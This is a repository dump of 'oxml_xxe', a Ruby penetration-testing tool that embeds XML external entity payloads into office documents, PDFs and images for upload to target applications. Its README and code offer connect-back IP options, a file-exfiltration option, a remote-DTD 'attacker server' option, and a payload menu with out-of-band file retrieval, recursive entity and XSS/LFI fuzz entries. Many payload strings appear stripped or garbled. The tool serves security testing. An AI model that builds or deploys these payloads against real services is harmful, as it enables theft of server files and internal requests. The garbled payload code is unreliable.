├── output └── blank ├── samples ├── xmp.gif ├── form.pdf ├── xslt.docx ├── blank.docx ├── complex.docx ├── sample.docx ├── sample.pptx ├── sample.xlsx ├── test_odt.odt ├── comments.docx ├── tunnel-depth.jpg ├── sample.svg └── README.md ├── Gemfile ├── options.json ├── README.md ├── oxml_xxe.rb └── lib └── utils.rb /output/blank: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /samples/xmp.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/oxml_xxe/master/samples/xmp.gif -------------------------------------------------------------------------------- /samples/form.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/oxml_xxe/master/samples/form.pdf -------------------------------------------------------------------------------- /samples/xslt.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/oxml_xxe/master/samples/xslt.docx -------------------------------------------------------------------------------- /samples/blank.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/oxml_xxe/master/samples/blank.docx -------------------------------------------------------------------------------- /samples/complex.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/oxml_xxe/master/samples/complex.docx -------------------------------------------------------------------------------- /samples/sample.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/oxml_xxe/master/samples/sample.docx -------------------------------------------------------------------------------- /samples/sample.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/oxml_xxe/master/samples/sample.pptx -------------------------------------------------------------------------------- /samples/sample.xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/oxml_xxe/master/samples/sample.xlsx -------------------------------------------------------------------------------- /samples/test_odt.odt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/oxml_xxe/master/samples/test_odt.odt -------------------------------------------------------------------------------- /samples/comments.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/oxml_xxe/master/samples/comments.docx -------------------------------------------------------------------------------- /Gemfile: -------------------------------------------------------------------------------- 1 | source 'https://rubygems.org' 2 | 3 | ruby "2.1.5" 4 | 5 | gem 'zipruby' 6 | gem 'highline' 7 | -------------------------------------------------------------------------------- /samples/tunnel-depth.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/oxml_xxe/master/samples/tunnel-depth.jpg -------------------------------------------------------------------------------- /options.json: -------------------------------------------------------------------------------- 1 | { 2 | "file":"./samples/sample.docx", 3 | "ip":"", 4 | "exfiltrate":"", 5 | "build":false, 6 | "string":false, 7 | "payload_list":false 8 | } 9 | -------------------------------------------------------------------------------- /samples/sample.svg: -------------------------------------------------------------------------------- 1 | 2 | &xxe; 3 | 5 | 6 | -------------------------------------------------------------------------------- /samples/README.md: -------------------------------------------------------------------------------- 1 | The following are the credit for the files in the samples: 2 | 3 | Created by BuffaloWill: 4 | blank.docx 5 | comments.docx 6 | sample.docx 7 | sample.pptx 8 | sample.xlsx 9 | test_odt.odt 10 | xslt.docx 11 | 12 | tunnel-depth.jpg - https://github.com/panrafal/depthy -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # oxml_xxe 2 | This tool is meant to help test XXE vulnerabilities in ~~OXML document~~ file formats. Currently supported: 3 | 4 | - DOCX/XLSX/PPTX 5 | - ODT 6 | - PDF 7 | - JPG 8 | - GIF (experimental) 9 | 10 | BH USA 2015 Presentation: 11 | 12 | [Exploiting XXE in File Upload Functionality (Slides)](http://oxmlxxe.github.io/reveal.js/slides.html#/) [(Recorded Webcast)](https://www.blackhat.com/html/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.html) 13 | 14 | Blog Posts on the topic: 15 | 16 | [Exploiting XXE Vulnerabilities in OXML Documents - Part 1](http://www.silentrobots.com/blog/2015/03/04/oxml_xxe/) 17 | 18 | # Installation 19 | 20 | Installation is easy, you will need a copy of Ruby and two gems. 21 | 22 | ``` 23 | gem install highline 24 | gem install zipruby 25 | ``` 26 | 27 | or 28 | 29 | 30 | ``` 31 | gem install bundler 32 | bundle install 33 | ``` 34 | 35 | # Quick Examples 36 | 37 | ## Build a PDF with XXE in XMP (metadata) 38 | ``` 39 | ruby oxml_xxe.rb --poc pdf -i 192.168.14.1:8000 40 | ``` 41 | 42 | ## Build a DOCX with XXE (connecting back to 192.168.14.1:8000) 43 | ``` 44 | ruby oxml_xxe.rb -s -i 192.168.14.1:8000 45 | 46 | Select payload 11 ("remote_DTD") 47 | ``` 48 | 49 | ## Build a XLSX with XXE (connecting back to ftp://192.168.14.1:8000) 50 | ``` 51 | ruby oxml_xxe.rb -f samples/sample.xlsx -s -i ftp://192.168.14.1:8000 52 | 53 | Select payload 11 ("remote_DTD") 54 | ``` 55 | 56 | 57 | # Main Modes 58 | 59 | There are two main modes: 60 | 61 | ## Build Mode ("-b") 62 | 63 | Build mode adds a DOCTYPE and inserts the XML Entity into the file of the users choice. 64 | 65 | ## String Replacement Mode ("-s") 66 | 67 | String replacement mode goes through and looks for the symbol § in the document. The XML Entity ("&xxe;") replaces any instances of this symbol. Note, you can open the document in and insert § anywhere to have it replaced. The common use case would be a web application which reads in a xlsx and then prints the results to the screen. Exploiting the XXE it would be possible to have the contents printed to the screen. 68 | 69 | -------------------------------------------------------------------------------- /oxml_xxe.rb: -------------------------------------------------------------------------------- 1 | # encoding: ASCII-8BIT 2 | require 'zipruby' 3 | require 'highline/import' 4 | require 'highline' 5 | require 'fileutils' 6 | require 'optparse' 7 | require 'json' 8 | require './lib/utils' 9 | 10 | # import config @options 11 | @options = JSON.parse(File.read('./options.json')) 12 | @protocols = ["http","https","ftp","jar","file","netdoc","mailto","gopher"] 13 | 14 | OptionParser.new do |opts| 15 | opts.banner = "Usage: oxml_xxe.rb [options]; \n\t-b or -s are required\n\n" 16 | 17 | opts.on("-b", "--build", "Build XE Document") do |v| 18 | @options["build"] = true 19 | end 20 | opts.on("-s", "--string", "String replace XE Document") do |v| 21 | @options["string"] = true 22 | end 23 | opts.on("-f", "--file=FILE", "docx/xlsx/pptx file to embed the string into") do |v| 24 | @options["file"] = v 25 | end 26 | opts.on("-z", "--fuzz=FUZZ_FILE", "A file including XSS to fuzz for, one per line") do |v| 27 | @options["fuzz"] = v 28 | end 29 | opts.on("-t", "--poc=POC", "Very simple XMP POC test; handles PDF, GIF, JPEG right now") do |v| 30 | @options["poc"] = v 31 | end 32 | opts.on("-i", "--ip=IP", "Set connect back IP") do |v| 33 | @options["ip"] = v 34 | end 35 | opts.on("-x", "--exfiltrate=EFILE", "The file to exfiltrate") do |v| 36 | @options["exfiltrate"] = v 37 | end 38 | opts.on("-r", "--rf=EXF", "The remote file to check for on attacker server") do |v| 39 | @options["rf"] = v 40 | end 41 | opts.on("-p", "--print-payloads", "Print the available payloads") do |v| 42 | @options["payload_list"] = true 43 | end 44 | opts.on('-h', '--help', 'Displays Help') do 45 | puts opts 46 | exit 47 | end 48 | end.parse! 49 | 50 | # set the protocol if the user hasn't 51 | def set_protocol(ip) 52 | unless ip.include?("://") 53 | unless ip.include?("\\\\") 54 | ip = "http://"+ip 55 | end 56 | end 57 | return ip 58 | end 59 | 60 | 61 | # Keep the payloads organized 62 | def read_payloads() 63 | pl = {} 64 | pl["entity_canary"] = [']>', "Useful to test if entities are parsed"] 65 | pl["plain_entity"] = [']>', "A simple XML entity."] 66 | pl["plain_recursive"] = [']>', "A recursive XML entity, precursor to billion laughs attack."] 67 | pl["plain_parameter"] = [' %xxe;]>', "A simple parameter entity. This is useful to test if parameter entities are filtered."] 68 | pl["plain_parameter_recursive"] = [' %b;]>', "Recursive parameter entity, precusor to parameter entity billion laughs"] 69 | pl["parameter_connectback"] = ['%a;]>', "Parameter Entity Connectback, the simplest connect back test."] 70 | pl["oob_parameter"] = ['%a;]>',"Retrieves a file. Needs to be paired with a valid DTD containing &xxe; on the server."] 71 | pl["remote_DTD"] = ['', "Remote DTD public check"] 72 | 73 | # XSS tests 74 | pl["CDATA_badchars"] = ['={()}]]>">]>', "HTML "] 75 | pl["no_CDATA_badchars"] = ['={()}">]>', "U"] 76 | 77 | return pl 78 | end 79 | 80 | def read_fuzz_payloads() 81 | 82 | pl = {} 83 | pl["fuzz_CDATA (XSS Testing)"] = ['">]>', "Takes in a file of input and inserts into CDATA"] 84 | pl["fuzz_no_CDATA (XSS Testing)"] = [']>', "Takes in a file of input and inserts directly into the entity"] 85 | pl["fuzz_LFI"] = [']>', "Takes in a file of input and inserts directly into the entity"] 86 | return pl 87 | end 88 | 89 | 90 | ######### MAIN 91 | 92 | # CustomError Class 93 | class OError < RuntimeError 94 | attr :errorString 95 | 96 | def initialize(errorString) 97 | @errorString = errorString 98 | end 99 | end 100 | 101 | 102 | if (@options["build"]==false and @options["string"]==false and @options["payload_list"]==false and @options["fuzz"]==false) 103 | puts "\n Usage: oxml_xxe.rb [options]; \n\t-b or -s are required; -h for help\n\n" 104 | exit 105 | end 106 | 107 | # print the current payloads and exit 108 | if @options["payload_list"] 109 | puts "PAYLOAD LIST" 110 | read_payloads.each do |pload| 111 | puts "#{pload[0]}: #{pload[1][1]} \n\t #{pload[1][0]}" 112 | end 113 | exit 114 | end 115 | 116 | if @options["build"] 117 | list_files_menu(false) 118 | exit 119 | end 120 | 121 | if @options["string"] 122 | list_files_menu(true) 123 | exit 124 | end 125 | 126 | if @options["poc"] 127 | payload = '' 128 | if payload =~ /IP/ and @options["ip"].size == 0 129 | @options["ip"] = ask("Payload Requires a connect back IP:") 130 | end 131 | 132 | @options["ip"] = set_protocol(@options["ip"]).gsub('\\') {'\\\\'} 133 | payload = payload.gsub("IP",@options["ip"]) 134 | 135 | 136 | if @options["poc"] == "pdf" 137 | # it's a hack, but gsubing into form pdf 138 | file = "./samples/form.pdf" 139 | 140 | puts "|+| Inserting into #{file}. Currently this only tests for PUBLIC DTD" 141 | 142 | len = 16724+payload.size 143 | nm = "./output/o_#{Time.now.to_i}.pdf" 144 | 145 | out = File.open(nm,"wb") 146 | fil = File.open(file,"rb") 147 | 148 | while(line = fil.gets) 149 | line = line.chomp 150 | line = line.gsub("-----",len.to_s) 151 | line = line.gsub("---",payload) 152 | out.puts(line) 153 | end 154 | puts "|+| Wrote to #{nm}" 155 | exit 156 | 157 | elsif @options["poc"] == "gif" 158 | file = "./samples/xmp.gif" 159 | 160 | puts "|+| Inserting into #{file}. Currently this only tests for PUBLIC DTD" 161 | 162 | nm = "./output/o_#{Time.now.to_i}.gif" 163 | 164 | out = File.open(nm,"wb") 165 | fil = File.open(file,"rb") 166 | 167 | while(line = fil.gets) 168 | line = line.gsub("-----",payload) 169 | out.puts(line) 170 | end 171 | puts "|+| Wrote to #{nm}" 172 | exit 173 | 174 | elsif @options["poc"] == "jpg" 175 | file = "./samples/tunnel-depth.jpg" 176 | 177 | puts "|+| Inserting into #{file}. Currently this only tests for PUBLIC DTD" 178 | 179 | nm = "./output/o_#{Time.now.to_i}.jpg" 180 | 181 | out = File.open(nm,"wb") 182 | fil = File.open(file,"rb") 183 | 184 | while(line = fil.gets) 185 | line = line.gsub("-----",payload.gsub('\\') {'\\\\'}) 186 | out.puts(line) 187 | end 188 | puts "|+| Wrote to #{nm}" 189 | exit 190 | end 191 | 192 | end 193 | 194 | 195 | if @options["fuzz"] 196 | fuzzies = [] 197 | 198 | # read in the user file 199 | begin 200 | file = File.new(@options["fuzz"],"rb") 201 | while (line = file.gets) 202 | fuzzies.push(line.chomp) 203 | end 204 | rescue 205 | raise ReportingError.new("Fuzz file #{@options['fuzz']} does not exist.}") 206 | exit 207 | end 208 | 209 | payload1 = "" 210 | choose do |menu| 211 | menu.prompt = "Choose XXE payload:" 212 | i = 0 213 | read_fuzz_payloads.each do |pload| 214 | menu.choice pload[0] do payload1 = pload[1][0] end 215 | end 216 | end 217 | 218 | @options["file"] = "./samples/lfi_test.docx" if payload == ']>' 219 | 220 | i = 0 221 | fuzzies.each do |fu| 222 | i = i + 1 223 | payloadx = payload1.gsub("FUZZ",fu) 224 | find_string(payloadx,i) 225 | end 226 | end 227 | 228 | -------------------------------------------------------------------------------- /lib/utils.rb: -------------------------------------------------------------------------------- 1 | # encoding: ASCII-8BIT 2 | require 'zipruby' 3 | require 'highline/import' 4 | require 'highline' 5 | require 'fileutils' 6 | require 'json' 7 | 8 | # This method retrieves the payloads and allows the user to assign a payload 9 | # that will be used in the document. 10 | def select_payload 11 | ploads = read_payloads() 12 | payload = "" 13 | choose do |menu| 14 | menu.prompt = "Choose XXE payload:" 15 | menu.choice "Print XXE Payload Values" do 16 | i = 0 17 | ploads.each do |pload| 18 | i = i +1 19 | puts "#{i}. #{pload[1][1]} \n\t #{pload[1][0]}" 20 | end 21 | exit 22 | end 23 | ploads.each do |pload| 24 | menu.choice pload[0] do payload = pload[1][0] end 25 | end 26 | end 27 | if payload =~ /IP/ and @options["ip"].size == 0 28 | @options["ip"] = ask("Payload Requires a connect back IP:") 29 | @options["ip"] = set_protocol(@options["ip"]).gsub('\\') {'\\\\'} 30 | payload = payload.gsub("IP",@options["ip"]) 31 | end 32 | if payload =~ /FILE/ and @options["exfiltrate"].size == 0 33 | @options["exfiltrate"] = ask("Payload Requires a file to check for:") 34 | payload = payload.gsub("FILE",@options["exfiltrate"]) 35 | end 36 | if payload =~ /PORT/ and @options["port"].size == 0 37 | @options["port"] = ask("Payload allows for connect back port to be specified:") 38 | payload = payload.gsub("PORT",@options["port"]) 39 | end 40 | if payload =~ /EXF/ and !@options["rf"] 41 | @options["rf"] = ask("Payload requires a remote file to check for on your server (e.g. /dtd/exfil.dtd):") 42 | payload = payload.gsub("EXF",@options["rf"]) 43 | end 44 | 45 | return payload 46 | end 47 | 48 | # Insert the payload into every XML document in the document 49 | def add_payload_all(fz,payload) 50 | fz.each do |name| 51 | add_payload(name, payload) 52 | end 53 | end 54 | 55 | # The menu for selecting the payload and the XML file to insert into 56 | def choose_file(docx) 57 | fz = list_files(docx) 58 | payload = select_payload 59 | 60 | puts "|+| #{payload} selected" 61 | choose do |menu| 62 | menu.prompt = "Choose File to insert XXE into:" 63 | menu.choice "Insert Into All Files Creating Multiple OOXML Files" do add_payload_all(fz, payload) end 64 | menu.choice "Insert Into All Files In Same OOXML File" do add_payload_of(fz, payload,"") end 65 | menu.choice "Create Entity Canary" do entity_canary(fz, payload) end 66 | menu.choice "Create XXE 'Content Types' Canary" do entity_canary(fz, payload) end 67 | fz.each do |name| 68 | menu.choice name do add_payload(name, payload) end 69 | end 70 | end 71 | end 72 | 73 | # takes in a docx and returns a list of files 74 | def list_files(docx) 75 | files = [] 76 | Zip::Archive.open(docx, Zip::CREATE) do |zipfile| 77 | n = zipfile.num_files # gather entries 78 | 79 | n.times do |i| 80 | entry_name = zipfile.get_name(i) # get entry name from archive 81 | files.push(entry_name) 82 | end 83 | end 84 | return files 85 | end 86 | 87 | # Create file with simple entity canary 88 | def entity_canary(fz, payload) 89 | # grab the ext 90 | ext = @options["file"].split(".").last 91 | name = "_rels/.rels" 92 | document = "" 93 | 94 | # place the payload in different file depending on ext 95 | if ext == "docx" 96 | payload = payload.gsub("fza","word/document.xml") 97 | 98 | # Read in the XLSX and grab the file 99 | Zip::Archive.open(@options["file"], Zip::CREATE) do |zipfile| 100 | zipfile.fopen(name) do |f| 101 | document = f.read # read entry content 102 | end 103 | end 104 | 105 | # puts document.gsub(" "," \n") 106 | replace = 'Target="word/document.xml"' 107 | replace1 = 'Target="&canary;"' 108 | 109 | document = document.gsub(replace,replace1) 110 | docx_xml = payload(document,payload) 111 | 112 | nname = "output_#{Time.now.to_i}_#{name.gsub(".","_").gsub("/","_")}" 113 | rand_file = "./output/canary_#{nname}.#{ext}" 114 | 115 | puts "|+| Creating #{rand_file}" 116 | FileUtils::copy_file(@options["file"],rand_file) 117 | Zip::Archive.open(rand_file, Zip::CREATE) do |zipfile| 118 | zipfile.add_or_replace_buffer(name, 119 | docx_xml) 120 | end 121 | 122 | elsif ext == "xlsx" 123 | payload = payload.gsub("fza","xl/workbook.xml") 124 | 125 | # Read in the XLSX and grab the file 126 | Zip::Archive.open(@options["file"], Zip::CREATE) do |zipfile| 127 | zipfile.fopen(name) do |f| 128 | document = f.read # read entry content 129 | end 130 | end 131 | 132 | # puts document.gsub(" "," \n") 133 | replace = 'Target="xl/workbook.xml"' 134 | replace1 = 'Target="&canary;"' 135 | 136 | document = document.gsub(replace,replace1) 137 | docx_xml = payload(document,payload) 138 | 139 | nname = "output_#{Time.now.to_i}_#{name.gsub(".","_").gsub("/","_")}" 140 | rand_file = "./output/canary_#{nname}.#{ext}" 141 | 142 | puts "|+| Creating #{rand_file}" 143 | FileUtils::copy_file(@options["file"],rand_file) 144 | Zip::Archive.open(rand_file, Zip::CREATE) do |zipfile| 145 | zipfile.add_or_replace_buffer(name, 146 | docx_xml) 147 | end 148 | else 149 | payload = payload.gsub("fza","ppt/presentation.xml") 150 | 151 | # Read in the XLSX and grab the file 152 | Zip::Archive.open(@options["file"], Zip::CREATE) do |zipfile| 153 | zipfile.fopen(name) do |f| 154 | document = f.read # read entry content 155 | end 156 | end 157 | 158 | # puts document.gsub(" "," \n") 159 | replace = 'Target="ppt/presentation.xml"' 160 | replace1 = 'Target="&canary;"' 161 | 162 | document = document.gsub(replace,replace1) 163 | docx_xml = payload(document,payload) 164 | 165 | nname = "output_#{Time.now.to_i}_#{name.gsub(".","_").gsub("/","_")}" 166 | rand_file = "./output/canary_#{nname}.#{ext}" 167 | 168 | puts "|+| Creating #{rand_file}" 169 | FileUtils::copy_file(@options["file"],rand_file) 170 | Zip::Archive.open(rand_file, Zip::CREATE) do |zipfile| 171 | zipfile.add_or_replace_buffer(name, 172 | docx_xml) 173 | end 174 | end 175 | 176 | end 177 | 178 | # Inserts payload into all files 179 | def add_payload_of(fz,payloadx,of) 180 | 181 | # get file ext 182 | ext = @options["file"].split(".").last 183 | nname = "output_#{Time.now.to_i}_all" 184 | rand_file = "./output/#{nname}.#{ext}" 185 | FileUtils::copy_file(@options["file"],rand_file) 186 | 187 | fz.each do |name| 188 | 189 | document = "" 190 | # Read in the XLSX and grab the document.xml 191 | Zip::Archive.open(rand_file, Zip::CREATE) do |zipfile| 192 | zipfile.fopen(name) do |f| 193 | document = f.read # read entry content 194 | end 195 | end 196 | 197 | docx_xml = payload(document,payloadx) 198 | 199 | Zip::Archive.open(rand_file, Zip::CREATE) do |zipfile| 200 | zipfile.add_or_replace_buffer(name, 201 | docx_xml) 202 | end 203 | end 204 | puts "|+| Created #{rand_file}" 205 | end 206 | 207 | # The meat of the work: 208 | # reads in the XML file, inserts XXE and then creates the new OXML 209 | def add_payload(name,payloadx) 210 | document = "" 211 | 212 | # Read in the XLSX and grab the document.xml 213 | Zip::Archive.open(@options["file"], Zip::CREATE) do |zipfile| 214 | zipfile.fopen(name) do |f| 215 | document = f.read # read entry content 216 | end 217 | end 218 | # get file ext 219 | ext = @options["file"].split(".").last 220 | nname = "output_#{Time.now.to_i}_#{name.gsub(".","_").gsub("/","_")}" 221 | rand_file = "./output/#{nname}.#{ext}" 222 | 223 | docx_xml = payload(document,payloadx) 224 | 225 | puts "|+| Creating #{rand_file}" 226 | FileUtils::copy_file(@options["file"],rand_file) 227 | Zip::Archive.open(rand_file, Zip::CREATE) do |zipfile| 228 | zipfile.add_or_replace_buffer(name, 229 | docx_xml) 230 | end 231 | end 232 | 233 | # The string replacement functionality 234 | def find_string(payloadx, i) 235 | payloadx = select_payload unless payloadx 236 | 237 | puts "|+| Checking for § in #{@options["file"]}..." 238 | 239 | p payloadx 240 | 241 | targets = [] 242 | Zip::Archive.open(@options["file"], Zip::CREATE) do |zipfile| 243 | n = zipfile.num_files # gather entries 244 | 245 | n.times do |i| 246 | nm = zipfile.get_name(i) 247 | zipfile.fopen(nm) do |f| 248 | document = f.read # read entry content 249 | if document =~ /§/ 250 | puts "|+| Found § in #{nm}, replacing with &xxe;" 251 | targets.push(nm) 252 | end 253 | end 254 | end 255 | end 256 | 257 | if targets.size == 0 258 | puts "|-| Could not find § in document, please verify." 259 | return 260 | end 261 | 262 | # get file ext 263 | ext = @options["file"].split(".").last 264 | nname = "output_#{Time.now.to_i}_all" 265 | rand_file = "./output/#{nname}_#{i}.#{ext}" 266 | FileUtils::copy_file(@options["file"],rand_file) 267 | 268 | puts "|+| Inserting into #{rand_file}" 269 | 270 | targets.each do |target| 271 | 272 | document = "" 273 | # Read in the XLSX and grab the document.xml 274 | Zip::Archive.open(rand_file, Zip::CREATE) do |zipfile| 275 | zipfile.fopen(target) do |f| 276 | document = f.read # read entry content 277 | end 278 | end 279 | 280 | docx_xml = payload(document,payloadx) 281 | 282 | # replace string 283 | docx_xml = docx_xml.gsub("§","&xxe;") 284 | 285 | Zip::Archive.open(rand_file, Zip::CREATE) do |zipfile| 286 | zipfile.add_or_replace_buffer(target, 287 | docx_xml) 288 | end 289 | end 290 | end 291 | 292 | # this does a simple substitution of the [X]XE into the document DOCTYPE. 293 | # It also resets the xml from standalone "yes" to "no" 294 | def payload(document,payload) 295 | # insert the payload, TODO this should be refactored 296 | document = document.gsub('',"""#{payload.gsub('IP',@options["ip"]).gsub('FILE',@options["exfiltrate"])}""") 297 | document = document.gsub('',"""#{payload.gsub('IP',@options["ip"]).gsub('FILE',@options["exfiltrate"])}""") 298 | return document 299 | end 300 | 301 | def list_files_menu(string_replace) 302 | if(@options["file"].size > 0) 303 | if File.file?(@options["file"]) 304 | puts "|+| Using #{@options["file"]}" 305 | if string_replace 306 | find_string(nil,0) 307 | else 308 | choose_file(@options["file"]) 309 | end 310 | else 311 | puts "|!| #{@options["file"]} cannot be found. Verify file exists." 312 | end 313 | exit 314 | else 315 | puts "|+| Using #{@options["file"]}" 316 | 317 | # check if file exists 318 | if File.file?(@options["file"]) 319 | puts "|+| #{@options["file"]} Loaded\n" 320 | choose_file(@options["file"]) 321 | else 322 | puts "|!| #{@options["file"]} cannot be found. Set with -f or modify config.json" 323 | exit 324 | end 325 | 326 | if string_replace 327 | find_string(nil,0) 328 | end 329 | end 330 | end 331 | 332 | 333 | --------------------------------------------------------------------------------